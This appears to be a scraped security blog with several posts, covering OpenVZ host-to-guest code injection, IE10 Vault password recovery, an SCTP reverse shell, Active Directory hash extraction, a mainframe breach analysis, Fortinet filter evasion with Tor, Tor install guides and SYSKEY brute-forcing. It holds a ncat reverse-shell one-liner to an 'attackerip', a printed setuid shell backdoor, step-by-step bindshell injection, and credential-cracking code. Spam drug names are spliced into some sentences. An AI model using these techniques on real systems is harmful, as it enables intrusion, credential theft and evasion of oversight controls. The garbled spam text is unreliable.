Host to Guest Code Injection in OpenVZ

This is a paper I wrote ages back, forgot about, decided to publish after OpenSSL got popped, forgot about *again* because my site was being a bollix and not working, and then remembered when walking home today. For the /r/netsec folk who will probably bash it as lame/not a new idea, yeah, its not new. Its not even that cool. But I still found it amusing as it helps show that “Virtual Private Servers” are not exactly anything that could be called private.

Abstract/Brief:
This paper documents a trivial method of injecting code with superuser privileges in guest virtual machines on OpenVZ systems. The conditions are that you have access to the host machine, with either a superuser account or one which has access to the OpenVZ virtual machines process space, for example, the SolusVM account on badly configured SolusVM setups. Such setups are rather common in the wild in both enterprise settings (private clouds) and VPS/web hosting companies. While not providing a remote-root exploit, it is an interesting method of abusing shared processes in virtualization software to own boxes.

Introduction:
Recently I, the author, was granted access to an OpenVZ setup on a virtual server host by the owner, and permitted to use it for experimentation purposes with the view to iron out any bugs before the service was publicly launched. The setup was using SolusVM/WHMCS to “Manage” the VPS servers and customer service, on an x86_64 CentOS host. The virtualization software was the reasonably popular OpenVZ software.

Previously, the author had worked with a colleague on a Linux process-injection tool, beta testing it and locating bugs. It was realized, after reading the (terrible) OpenVZ documentation, and after an idiot administrator ran “killall apache2” on the main host, that in an OpenVZ setup the process space is shared, with the processes on guest operating systems being directly accessible from the host machine.

The natural line of investigation from this was “what will happen if we try inject code into the processes of virtual machines running on the host, from the host itself?”. This line of investigation lead to the following vulnerability being discovered, and exploitation was found to be incredibly reliable.

General Overview of Exploitation:
From the host machine, all the guest systems processes run in a shared space, and may be directly manipulated from the host operating system. For example, running “killall apache2” on the host system will send the kill signal to any Apache2 processes running on the host systems (generally leading to pissed off customers). I believe this architecture is designed so a host can legitimately terminate processes on guest systems which are consuming more than their allocated amount of resources.

Seeing as the process space of guest systems is directly accessible to the host, standard techniques for process injection may be used to execute code on any or all of the guest operating systems. Therefore, it is considered trivial to inject code into guest operating systems from the virtual machine host while using the OpenVZ virtualization solution.

Impact of Exploitation:
While some may think that “if the host is rooted, the guests are compromised anyway”, and simply ignore the content of this paper, there are several rather interesting ramifications to this technique. They are not wrong either.

Of primary interest, it demonstrates that there can be no real expectation of privacy for users of “Virtual Private Servers”, which include many web hosting firms and enterprises.

It also demonstrates the lack of protection of guest processes from the host in the OpenVZ stack, which means the guests not only have to worry about the security of their own server, but are completely at risk if the host machine is compromised. Finally, it was a really neat trick, and allowed for some interesting things to be done.

Practical Exploitation:
For this demonstration, we used the process-injection tool developed by “jtRIPper”, “parasite”. You may download it from: https://github.com/jtRIPper/parasite

The host machine was running CentOS, OpenVZ and SolusVM (management software for OpenVZ). The guest host used in this demonstration, “bastion”, was running Debian. All architectures are x86_64. The utilities used on the hosting server were the “vzlist” utility, grep, and the “ps” tool, for location of process ID’s to inject into.

Exploitation, step by step:
Step one: use “vzlist” to find the CTID of the target virtual machine. The CTID is the number, normally a three digit number, listed in the first column. In the screencap, I told it to only output the details of my target virtual machine using grep. It also will give you the IP address of the target machine, take note of this as we will use it to connect to the bind-shell later.

Step two: Once you have the CTID of your target virtual machine, simply running “ps aux | grep $(CTID)” (put your CTID in there…) will list running processes on the target virtual machine. It will also output some unrelated processes, but the owner of the processes will be the same as the CTID, making locating them easy. A cleaner way is to grep for “root/$(CTID)” which I did in the demo to make it cleaner output.

Step Three: Process ID in hand, we use the parasite utility to inject our shellcode into the process. The payload is a bindshell on port 4444. Simply do “./parasite $(PID)” to inject code.

Step Four: Use netcat to connect to the bindshell on port 4444 of the target host. You should have the privileges of the process you injected into.

Step Five: Well, thats the box rooted, so, er, have fun and play safe?

injectandown

 

Analysis:
This technique can be used to gain access to virtual machines from
the host machine. This impacts the integrity and privacy of the data
on the virtual machine.

It also provides an interesting lesson in how Linux process injection
techniques can be used to do more interesting things than simply
backdooring the SSHd on the host.

This proves conclusively that under OpenVZ, the guest virtual
machines are completely vulnerable to the host VM. This has
definate ramifications for the supposed privacy of “Virtual Private
Servers” on an OpenVZ stack, as it means the percieved privacy
may be completely subverted by a rogue administrator.

Conclusion:
There is a lack of seperation of processes in the OpenVZ
hypervisior, which can be abused by someone with access to the
host machine to execute code inside the guest virtual machines.
This can allow the host to subvert any security restrictions or similar
on running guest machines, allowing theft of potentially confidential
data from clients on the guest VM’s.

If you are using a VPS server which is on an OpenVZ stack, you
therefore have no expectation of privacy whatsoever from the host
machine.

Other hypervisiors have been shown to be similarly exploitable in
the past, for example VMware. Further research into XEN and
Virtualbox/KVM hypervisiors shall be needed to see if those also can
be exploited (they can ;) ).

Code and further information/ideas:
https://github.com/jtRIPper/parasite – Process injection tool used in
demo.
http://cymothoa.sourceforge.net – Potentially useful Process
Injection tool.
https://github.com/batistam/VMInjector – VMware Host to Guest
Code Injection PoC for Windows.
http://openvz.org/Processes_scope_and_visibility – Information on
processes in the OpenVZ hypervisior and ideas on making a better
process-finding tool.

Addentum:
OpenVZ also allows filesystem access from the host, no protection
whatsoever against a malicious superuser on the host
reading/altering your files. Apparently, a superuser on host can also
spawn processes and suchlike, but the OpenVZ documentation was
so rubbish, and I did not have the patience to find out/verify.

A guest-host jailbreak is doable on OpenVZ via kernel exploits, as
seen with Enlightenment breaking out of OpenVZ containers, which
are just a glorified chroot. As I no longer have access to
infrastructure on which to run further testing (as of Feb. 2014), I
cannot do further research until further notice. Unless, of course,
someone wishes to just give me a dedicated server and a bunch of
IP addresses to do with as I please ;)

Password Algorithms: Internet Explorer 10 (Windows Vault)

Introduction

Microsoft added a new feature to Windows 7 called ‘Vault’ which you can access through the Credential Manager in control panel or vaultcmd from command line. It works very similar to Gnome Key Ring on Linux or the Apple Keychain on Mac OS.

In versions 7, 8 and 9 of Internet Explorer, passwords were protected using DPAPI and the login URL as entropy before being saved in the registry. The new algorithm in IE10 continues to use DPAPI but the encryption of credentials is now handled by the Vault Service.

Vault System Service

Like most Windows Encryption, the protection of Vault data occurs within a LocalSystem service. vaultsvc.dll contains the service code and is loaded by the Local Security Account Subsystem (lsass.exe) at boot time.

Between 18-24 functions (depending on OS) are exposed to clients over a local RPC end point. On Windows 7 is an additional KeyRing Credential UI application (VaultSysUI.exe) launched by the service if it requires information from the owner of a vault.

For example, you have the ability to lock a vault with a password.
windows_7_lock
You can also configure a vault to require permission from the user when an application attempts to access the password element.
windows_7_prompt
In both situations, VaultSysUI will display a window to the user and then write the response back to heap memory which Vault Service can access. :-)

Although both these features are useful and add further protection to a user’s credentials, they were removed in Windows 8 along with other functionality.

Vault Client Library Access

From the user session, RPC calls are made through API exported by vaultcli.dll
Explorer.exe loads Credui.dll and Vault.dll when accessing the Credential Manager through the Control Panel.
credman
You can also use vaultcmd.exe to add/remove credentials but it doesn’t display passwords on either 7 or 8.
vaultcmd7
On Windows 8 . . .
vaultcmd8
For whatever reasons, there was a pretty significant reduction in Vault features between Windows 7 and 8. Below is a list of what was removed.

  • Creation / Deletion of vaults.
  • Loading / Unloading external vault files.
  • Locking / Unlocking vaults with additional password protection.

Protection Methods

Windows 7 has 2 methods available but Windows 8 only has 1.
DPAPI (Data Protection API) is used by default but on Windows 7, you can also use a password.

The algorithm used to protect passwords is RSA PBKDF2.

Recovery of Web Credentials

As said, there were some changes to Vault service between Windows 7 and 8.
VaultGetItem requires an additional parameter on Windows 8 and the VAULT_ITEM structure has an extra property. Here’s the structure for Windows 7

typedef struct _VAULT_ITEM_W7 {
  GUID SchemaId;
  LPCWSTR pszCredentialFriendlyName;
  PVAULT_ITEM_ELEMENT pResourceElement;
  PVAULT_ITEM_ELEMENT pIdentityElement;
  PVAULT_ITEM_ELEMENT pAuthenticatorElement;
  FILETIME LastModified;
  DWORD dwFlags;
  DWORD dwPropertiesCount;
  PVAULT_ITEM_ELEMENT pPropertyElements;
} VAULT_ITEM_W7, *PVAULT_ITEM_W7;

And for Windows 8 . . .

typedef struct _VAULT_ITEM_W8 {
  GUID SchemaId;
  LPCWSTR pszCredentialFriendlyName;
  PVAULT_ITEM_ELEMENT pResourceElement;
  PVAULT_ITEM_ELEMENT pIdentityElement;
  PVAULT_ITEM_ELEMENT pAuthenticatorElement;
  PVAULT_ITEM_ELEMENT pPackageSid;
  FILETIME LastModified;
  DWORD dwFlags;
  DWORD dwPropertiesCount;
  PVAULT_ITEM_ELEMENT pPropertyElements;
} VAULT_ITEM_W8, *PVAULT_ITEM_W8;

I’ve written a tool to recover IE10 passwords using the Vault API, here’s example of output on Windows 7 machine.
ie10_decode
For those of you that want to know more about recovery process, you can grab source and binary here.
Because the Windows Vault Service remains undocumented, I can’t guarantee the accuracy of information provided. The latest protection of Web Credentials for Internet Explorer is indeed weaker than previous algorithm for 7, 8 and 9 but the upside is that with the Vault you can reliably backup/restore your passwords when needed.

Below is just a list of API available/removed between Windows 7 and 8.

Credential Vault Client Library Function Windows 7 Windows 8
VaultCreateItemType Yes Yes
VaultDeleteItemType Yes Yes
VaultEnumerateItemTypes Yes Yes
VaultAddItem Yes Yes
VaultFindItems Yes Yes
VaultEnumerateItems Yes Yes
VaultGetItem Yes Yes
VaultRemoveItem Yes Yes
VaultGetItemType Yes Yes
VaultOpenVault Yes Yes
VaultCloseVault Yes Yes
VaultGetInformation Yes Yes
VaultEnumerateVaults Yes Yes
VaultSetInformation Yes No
VaultCreateVault Yes No
VaultCopyVault Yes No
VaultDeleteVault Yes No
VaultLoadVaults Yes No
VaultUnloadVaults Yes No
VaultCopyItem Yes No
VaultMoveItem Yes No
VaultLockVault Yes No
VaultUnlockVault Yes No
VaultConfirmVaultAccess Yes No
VaultEnumerateSettingUnits No Yes
VaultGetSettingUnit No Yes
VaultApplySettingUnit No Yes
VaultRemoveSettingUnit No Yes
VaultTriggerSync No Yes

SCTP Reverse Shell

So, buy over the last while I was looking at “Interesting” ways to throw back a reverse shell and remain under the radar a little bit. UDP, TCP and ICMP reverse shells have been done to death (heck, you can even use DNS tunneling), so I had the daft idea to try SCTP.

I noticed while testing it, many rubbish “Security in a box” firewalls do not actually parse SCTP packets at all, and just let them zip right through the firewall without checking their contents. So it looked like a perfect candidate for data exfiltration, spawning reverse shells, and other such mischief :)

Anyway, at first I tested the idea out using ncat (from nmap), which features SCTP support and basically is a full replacement for netcat.

NOTE: SCTP support should be enabled by default on Linux. If it aint, do “modprobe sctp” and see does it work then. I found that OpenVZ virtual machines tend to not have SCTP support, depending on if it is supported on the host or not.

With ncat, doing the following is enough to deliver a reverse shell over SCTP.

rootedbox:~# ncat –sctp -c /bin/sh attackerip port

attacker:~# ncat –sctp -l -v -p port

Screenshot of this:

sctp reverse shell with netcat

sctp reverse shell with netcat

So, we can do it with ncat, however I wanted to see how hard it would be to implement this in python.

Luckily, there is a python module for making SCTP connections – pysctp. It behaves very similarly to the socket module.

After a bit of playing around, I managed to implement a reverse shell over SCTP in python, which you can find here: http://packetstorm.igor.onlinedirect.bg/UNIX/penetration/rootkits/sctp_reverse.py.txt

Screenshot:

python sctp reverse shell

SCTP Reverse shell in python

Further development includes implementing SSL – it works, just tends to randomly die because pythons SSL library is rubbish, and writing these payloads in a native language (C) as opposed to python. Lots more to do here!

 

Active Directory Password Hash Extraction

Just added a tool for offline Active Directory password hash extraction.
It has very basic functionality right now but much more is planned.

Command line application that runs on Windows only at the moment.

  ntds_decode -s <FILE> -d <FILE> -m -i

    -s <FILE> : SYSTEM registry hive
    -d <FILE> : Active Directory database
    -m        : Machines (omitted by default)
    -i        : Inactive, Locked or Disabled accounts (omitted by default)

The SYSTEM registry hive and Active Directory database are from a domain controller.
These files are obviously locked so you need to backup using the Volume Shadow Copy Service.

The output format is similar to pwdump and only runs on Windows at the moment.
LM and NTLM hashes are extracted from active user accounts only.

ntds_decode mounts the SYSTEM file so Administrator access is required on the computer you run it on.

If you’re an experienced pen tester or Administrator that would like to test this tool, you can grab from here

It’s advisable you don’t use the tool unless you know what you’re doing.
Source isn’t provided at the moment because it’s too early to release.

If you have questions about it, feel free to e-mail the address provided in README.txt

A tale of two mainframes

Today, I acquired a copy of a report on anakata’s alleged hacking of Logica. You, too, can find a copy of it in PDF form here.
There’s a number of interesting things in this report, and I figured I would take the time to disassemble them and give a little bit of analysis on each.

The first interesting thing, which starts on the bottom of page 36, is the vast number of IPs from which the attackers came from. Out of curiosity, I did a little investigation on the boxes involved in the attacks, the jumpboxes, if you will.
Now, one of these is pretty interesting.
124.248.187.225 and 27.109.118.33 are located in Cambodia. This implies that, if it WAS anakata, he presumably just compromised wireless routers in his area and used those to launch the attacks, or else was too lazy to protect himself.
93.186.170.54 belongs to a VPS company.
The others, bar one, are all residential ranges. I took a look at them, and nothing particularly struck my fancy about them, however, they did possess dreamboxes and/or some rather esoteric webservers, so my guess would be either default credentials or really, really bad code led to their compromises.
Now, what grabs my attention is 202.120.189.223, and here is why:
This was a z/OS mainframe belonging to Tongji University in China, one of the most respected universities in the country (although it is now offline). So, this brings the total number of hacked mainframes up to 3.

I’m just speculating here, but I would imagine that owing to the difficulty in transferring and working with files from UNIX to z/OS (even with Unix System Services and FTP), that Chinese mainframe probably existed as both storage for the tools used in the Logica hack, and as a development environment. I’m frankly very curious as to how, exactly, these mainframes were so easily broken into, but I have some suspicions.
RACF, which is one of two competing “user management systems” for z/OS (the other being ACF2), has a number of interesting… quirks, including a limit on password length (8 characters), and the fact that the superuser account shipped by default cannot be completely removed; trying to attempt so may seem successful, but will result in it being quietly restored later. I have a few other theories, including the possibility of credential reuse and easily enumerated accounts (RACF conveniently tells you if a username doesn’t exist on the system), but unfortunately most of these aren’t concrete. Additionally, the main methods of egress seem to have been FTP and SSH, with little to no login failures reported, in which case it is worth assuming that the credentials may have been gathered from elsewhere, ie a compromised webserver.
Anyway, as I said, this is just conjecture, and not solid facts.

Another interesting thing that is worth pointing out is the nature of the majority of the backdoor tools. Take a look at the following code:

#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, NULL);
execl("/bin/sh", "sh", NULL);
}

That’s incredibly, incredibly simple C. I’m not a C programmer, and even I could write that. But there’s a wonderful elegance about it. Why waste time with a tremendously technical backdoor tool when the simplest thing, a setuid wrapper for a shell, works just as well?
That said, there are also far more technical and clever tools deployed, including one written in Z/arch HLasm. Dabbling in C, assembly, and other languages seems rather adventurous, so, with the warning that it’s just speculation, I’d imagine that this was a group of people familiar with mainframe development, not just one developer.
The other tools, go.rx and kurwa, are interesting, too. Based on the strings shown from them, they’re probably rexx scripts (rexx is the equivalent of Perl on UNIX). If the giant /* REXX */ didn’t inform you. What is interesting is that they are apparently exploiting a previously unknown privilege escalation vulnerability, as well as adding yet another language to the list used.
There are also less technical backdoors, for example, changing SSH keys to ensure access later, and altering inetd.conf to accomplish the same thing.

So, now that we’ve taken a look at this, I’d like to comment on what seems, to me, to be paradoxical and/or stupid.
There are only two mainframes, yet a fairly bewildering range of techniques was deployed, with tools written in at least three different programming languages. This right here is terrible opsec, and a terrible waste. Adding multiple backdoors is risky, because you can’t gain MORE access; once you’ve got a backdoor in place you’ve got a backdoor, but you’re leaving more things around that a curious system administrator might stumble upon. As well as that, the more varied the tools and techniques, the more obvious it’s a large and diverse group. It would have been wiser to agree on a list of public tools and simple code that could have been easily ported to z/OS. It just seems weird that everyone was deploying their own toolkit; if these were made specifically for this attack, that’s quite an amount of time to spend.

Still, it’s a fascinating story. Mainframe security doesn’t get nearly enough coverage, and IBM’s z/OS has survived through a lack of scrutiny; security through obscurity.

Punching through the Fortinet – Web Filter Evasion

Today, cialis 20th of March 2013, I went into college as per normal, and tried accessing this site to upload a new post (which is now in drafts, I will publish it over the weekend). Anyway, I ran straight into this:

censored

Me, sales blocked.

I, quite naturally, became quite irate. I had missed my morning cup of coffee due to a delayed bus, and now this. Blocked. Censored. Denied.
I had gotten used to seeing this “page” quite often, as my web browsing habits (Security websites) tend to get flagged as “hacking” and suchlike. However, seeing my site blatantly blacklisted as a “malicious website”, i.e. one which slings malware at its viewers, was a step too bloody far.

After a slight rage-fest on twitter, and several angry emails sent to various responsible persons (all of whom denied any responsibility so far, cowards!) I decided the best course of action would be publishing a guide on getting around these shitty web filters. As it so happens, Fortinet has a bigger gaping hole, than, well, Goatse.
Generally speaking, the best way around any of this crap, is to tunnel right through them. I shall outline the methods I have used with the most success over the last few months of putting up with this nonsense.

TOR – The Onion Router.
So, the last few posts concentrated on getting you TOR set up, and are linked at the bottom of this post. There is a very valid reason for this, and it is rather simple.

Fortinet “FortiGard” has no bloody clue what TOR is, and does not block it. I can surf freely all day long without seeing a single “blocked” page, provided I am willing to tolerate severely throttled speeds and “the lag of TOR” during the connecting phase.

So, if you are stuck behind a Fortinet, TOR up! It is beneficial to your internet-health anyway! It makes you less traceable!

For TOR installation details, see the following posts:
Installing TOR on Ubuntu
Installing TOR on Windows
Installing Torbutton

Now, if they have blocked TOR, the following tricks will work:

SSH tunnels to port 443.
For a free shell that supports SSH to port 443, go to CJB.NET Shells
If, for some reason, even that fails… Let me know! I have had some luck with DNS tunnelling also.

So, in conclusion: Fortinet is trivial to bypass, you can do it blindfolded.

Installing Torbutton

I almost thought a Torbutton install post was pointless, ailment until I realized a lot of people still manage to screw it up.
Somehow. I have no idea exactly how…
Anyways, onward! I will assume you have read http://insecurety.net/?p=847 and http://insecurety.net/?p=842 and gotten TOR working for you.

The following works on any platform once TOR/Vidalia is installed. TORbutton makes irreversable changes to Firefox, so you should install Firefox specifically for this!

In Firefox navigate to torproject.org/torbutton

Click the install link near bottom of page. The one that reads “Expert Install” “Install from this page”
Allow it to do voodoo magic.

torbutton install

torbutton install

Once Torbutton installs and Firefox restarts, navigate to check.torproject.org

It Works!

It Works!

If you are seeing this, it clearly worked and you are good to go! Now onward we go!

 

Installing TOR On Ubuntu Linux

Seeing as Ubuntu is one of the most commonly used Linux distros around, tadalafil and because I cannot be bothered getting a Fedora .iso, and because these instructions work fine for Debian also, here goes! (yes, in the images I am using BT5, which is basically Ubuntu)

To get your distribution name, the command “lsb_release -c” will tell you. This is important.

First off, sovaldi sale add the appropriate repository to your /etc/apt/sources.list file.

Essentially this command:
sudo echo “deb http://deb.torproject.org/torproject.org <DISTRIBUTION> main” >> /etc/apt/sources.list

Adding TOR repo

Adding TOR repo

Next, capsule we import the tor project GPG keys. I advise being root when doing this.

gpg –keyserver keys.gnupg.net –recv 886DDD89
gpg –export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add –

Adding GPG keys

Adding GPG keys

sudo apt-get update to refresh your package lists…

Update Package List

Update Package List

Now we install the torproject keyring.

apt-get install deb.torproject.org-keyring

keyring install

Installing Keyring

Install TOR itself and the Vidalia GUI… It will prompt to add a user to the group so select your username!!!

apt-get install vidalia tor polipo

Installing TOR

Installing TOR

Now, we check is Vidalia working OK or are we already fscked. By running it.

Vidalia Works

Vidalia Works

If it looks like that, you are good to go smile Again, as per http://insecurety.net/?p=842 , just set proxy settings in your browser to use 127.0.0.1 and 9050 as the port and you should be good to go!

Next up: Installing TORbutton :)

The observant ones will note the dates on the screenshots are old: I had originally made this guide for some friends who wanted it, and then I decided to publish it openly because, reasons.

 

 

 

TOR Setup – Windows

/*
This is part one of a multipart posting series that’s gonna go on all evening before el grande finale of using TOR and suchlike to bypass Fortinet Web Filters and other such bullshit censorship warez. The two TOR install posts will go up first, followed by the ranty bypassing one, then some other stuff :3

Please note, these installation guides are for non technical people in a sense, I literally try hold the users hand as much as possible…
*/

Well, if anyone here is as paranoid as I am, they probably wonder how the hell they can prevent their online activities from being traced back to them. So, in the interest of helping others anonymize their online presence, I have decided to knock up a few simple enough guides on installing and using various pieces of anonymity software, starting with the TOR bundle for Windows.

So. You should navigate yourself to torproject.org, and go to the downloads section.

Downloading TOR

Downloading TOR

Assuming you installed Firefox ages back (I hope to god ye arent using IE…) install the Vidalia bundle. Just download it, run the executable file, tick all the boxes (i.e. full install) and fire ahead. It will pop during the install.

Installing Vidalia Bundle

Installing Vidalia Bundle

Finally, let TOR run, and you should see the following after up to two minutes or so:

TOR works

TOR is now running

Bingo. That is TOR installed and running, and as you can see, it is VERY simple to use. To make it work with Firefox for anonymized browsing: Edit -> Preferences -> Advanced -> Network -> Settings -> Set proxy as: SOCKS5 (type), and 127.0.0.1 as IP and 9050 as port. I don’t think I can get much more simple than that.
 

Password Algorithms: Windows System Key (SYSKEY)

I stumbled upon some forum posts related to System Key recently and read something about 1 of the authentication modes available to Administrators that made me wonder if true or not.

Just to note, there are 3 modes.

  1. Generated by passphrase
  2. Stored in registry
  3. Stored on removable storage device

2 is enabled by default, but you can change this with the syskey.exe utility.

The claim was that if you forgot the passphrase or “startup password” there’s no reliable method of recovery. The “only way” to get back into the system is to restore a backup if one is available or disable completely using something like ntpasswd

In most cases, either way is probably sufficient enough, but there are situations where you would need to know the original passphrase and don’t have a backup available or perhaps you can’t even use a backup which could erase some critical information required.

There are a number of ways to recover the passphrase but I’ll just suggest one for now.
Found this short video which shows someone enabling the startup password

One of the the comments is “BOSS HOW WE HACK SYSKEY!!!” :-)

History of SYSKEY

SYSKEY was Microsoft’s response to pwdump and L0phtCrack.
It was provided as an optional security enhancement with Windows NT SP3 and enabled by default since the release of Windows 2000.

The purpose of this feature was to prevent pwdump working without modifications. Open source offline decryption tools didn’t surface until the release of samdump2 by Nicola Cuomo.

What follows is a short timeline of events related to SYSKEY.

March 1997 Samba developer Jeremy Allison publishes pwdump which enables Administrators to dump LM and NTLM hashes stored in the SAM database.
April 1997 L0pht publishes L0phtcrack which allows Administrators to audit password hashes. It had been in development since the release of pwdump.
May 1997 Microsoft publishes Service Pack 3 for Windows NT which added SYSKEY as an optional feature to prevent pwdump working properly.
December 1999 Todd Sabin documents flaw with SYSKEY. Anyone with access to the SAM database can reveal password hashes without the System key.
April 2000 Todd Sabin releases pwdump2 which dumps password hashes with the obfuscation removed. This also dumps hashes from a domain controller.
February 2004 Nicola Cuomo documents SYSKEY, Releases Samdump2 which enables offline decryption of password hashes stored in SAM database.

Password Generation

When the system boots and auth mode 1 is enabled, windows will display a dialog box waiting for you to enter the password. The following text is displayed on an XP system.

“This computer is configured to require a password in order to start up. Please enter the Startup Password below.”

Blank passwords are acceptable so whether you enter something or not, it gets processed with MD5 and authenticated once you hit OK.

#define MAX_SYSKEY_PWD 260

void pwd2key(wchar_t pwd[], uint8_t syskey[]) {
  MD5_CTX ctx;
  size_t pwd_len = wcslen(pwd);
  pwd_len = (pwd_len > MAX_SYSKEY_PWD) ? MAX_SYSKEY_PWD : pwd_len;
 
  MD5_Init(&ctx);
  MD5_Update(&ctx, pwd, pwd_len);
  MD5_Final(syskey, &ctx);
}

Enter the wrong password 3 times and you’ll receive the following error.

“System error: Lsass.exe”
“When trying to update a password the return status indicates that the value provided as the current password is not correct.”

This message appears because the LSA database key fails to decrypt but I wanted to know how exactly this password was authenticated.

Between XP and Vista, the LSA database got a major upgrade so you may see something else on post-XP systems.

If you were to attempt recovery through the LSA database, it would not only be much slower, it’s more complicated and because there’s a simpler way, I’m not going to cover it.

SAM Database

The SAM database is stored in %SystemRoot%\System32\config\SAM which as you probably know contains local user and group information, including encrypted NTLM/LM hashes.

Windows reads the value of F under SAM\Domains\Account and using the System key, decrypts the Sam key.

The structure of the F value isn’t documented but I’ve put together what I *think* is close enough to the original based on some MSDN documentation and analyzing code in SAMSRV.DLL which is where the decryption occurs.

#define SYSTEM_KEY_LEN   16
 
#define QWERTY "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"
#define DIGITS "0123456789012345678901234567890123456789"

#define SAM_KEY_LEN      16
#define SAM_SALT_LEN     16
#define SAM_CHECKSUM_LEN 16

typedef struct _SAM_KEY_DATA {
  uint32_t Revision;
  uint32_t Length;
  uint8_t Salt[SAM_SALT_LEN];
  uint8_t Key[SAM_KEY_LEN];
  uint8_t CheckSum[SAM_CHECKSUM_LEN];
  uint32_t Reserved[2];
} SAM_KEY_DATA, *PSAM_KEY_DATA;

typedef enum _DOMAIN_SERVER_ENABLE_STATE {
  DomainServerEnabled = 1,
  DomainServerDisabled
} DOMAIN_SERVER_ENABLE_STATE, *PDOMAIN_SERVER_ENABLE_STATE;

typedef enum _DOMAIN_SERVER_ROLE {
  DomainServerRoleBackup  = 2,
  DomainServerRolePrimary = 3
} DOMAIN_SERVER_ROLE, *PDOMAIN_SERVER_ROLE;

typedef struct _OLD_LARGE_INTEGER {
  unsigned long LowPart;
  long HighPart;
} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER;

#pragma pack(4)
typedef struct _DOMAIN_ACCOUNT_F {
  uint32_t Revision;
  uint32_t unknown1;
  
  OLD_LARGE_INTEGER CreationTime;
  OLD_LARGE_INTEGER DomainModifiedCount;
  OLD_LARGE_INTEGER MaxPasswordAge;
  OLD_LARGE_INTEGER MinPasswordAge;
  OLD_LARGE_INTEGER ForceLogoff;
  OLD_LARGE_INTEGER LockoutDuration;
  OLD_LARGE_INTEGER LockoutObservationWindow;
  OLD_LARGE_INTEGER ModifiedCountAtLastPromotion;
  
  uint32_t NextRid;
  uint32_t PasswordProperties;
  uint16_t MinPasswordLength;
  uint16_t PasswordHistoryLength;
  uint16_t LockoutThreshold;
  uint16_t unknown2;
  
  DOMAIN_SERVER_ENABLE_STATE ServerState;
  DOMAIN_SERVER_ROLE ServerRole;
  
  uint8_t UasCompatibilityRequired;
  uint32_t unknown3[2]; 
  
  SAM_KEY_DATA keys[2];
  uint32_t unknown4;
} DOMAIN_ACCOUNT_F, *PDOMAIN_ACCOUNT_F;
#pragma pack()

NTSTATUS DecryptSamKey(PSAM_KEY_DATA key_data, uint8_t syskey[]) {
  MD5_CTX ctx;
  RC4_KEY key;
  uint8_t dgst[MD5_DIGEST_LEN];
  
  // create key with salt and decrypt data
  MD5_Init(&ctx);
  MD5_Update(&ctx, key_data->Salt, SAM_SALT_LEN);
  MD5_Update(&ctx, QWERTY, strlen(QWERTY) + 1);
  MD5_Update(&ctx, syskey, SYSTEM_KEY_LEN);
  MD5_Update(&ctx, DIGITS, strlen(DIGITS) + 1);
  MD5_Final(dgst, &ctx);
  
  RC4_set_key(&key, MD5_DIGEST_LEN, dgst);
  RC4(&key, SAM_CHECKSUM_LEN + SAM_KEY_LEN, 
      key_data->Key, key_data->Key);
  
  // verify decryption was successful by generating checksum
  MD5_Init(&ctx);
  MD5_Update(&ctx, key_data->Key, SAM_KEY_LEN);
  MD5_Update(&ctx, DIGITS, strlen(DIGITS) + 1);
  MD5_Update(&ctx, key_data->Key, SAM_KEY_LEN);
  MD5_Update(&ctx, QWERTY, strlen(QWERTY) + 1);
  MD5_Final(dgst, &ctx);
  
  // compare with checksum and return status
  if (memcmp(dgst, key_data->CheckSum, SAM_CHECKSUM_LEN) == 0) {
    return STATUS_SUCCESS;
  }
  return STATUS_WRONG_PASSWORD;
}

NOTE: The strings didn’t format well for the blog but if you plan on using, let me know.

As you can see above, the Sam key is decrypted using System key and then a checksum is generated and compared with that stored in SAM_KEY_DATA
If they match, authentication succeeded, return STATUS_SUCCESS else STATUS_WRONG_PASSWORD

That’s pretty much how you can brute force the System Key when auth mode 1 is selected.

Recovery

Assuming you can read the F value from SAM hive, recovery is straight forward enough with the right libraries/code.

Following is just some pseudo code to demonstrate flow of recovery using dictionary attack.

    sam = openfile("offline_system\Windows\config\SAM");
   data = readreg(sam, "SAM\Domains\Account", "F")
 
  words = openfile("dictionary.txt")
 
  while (readfile(words, pwd)) {
    pwd2key(pwd, syskey)
    if (DecryptSamKey(data->keys[0], syskey) == STATUS_SUCCESS) {
      print "Found password: " + pwd
      break;
    }
  }
  closefile(words)
  closefile(sam)

LSA and NTDS algorithms call a hash function 1000 times during creation
of the encryption/decryption key while SAM algorithm doesn’t use any.

It’s not a vulnerability but could be useful to know some day.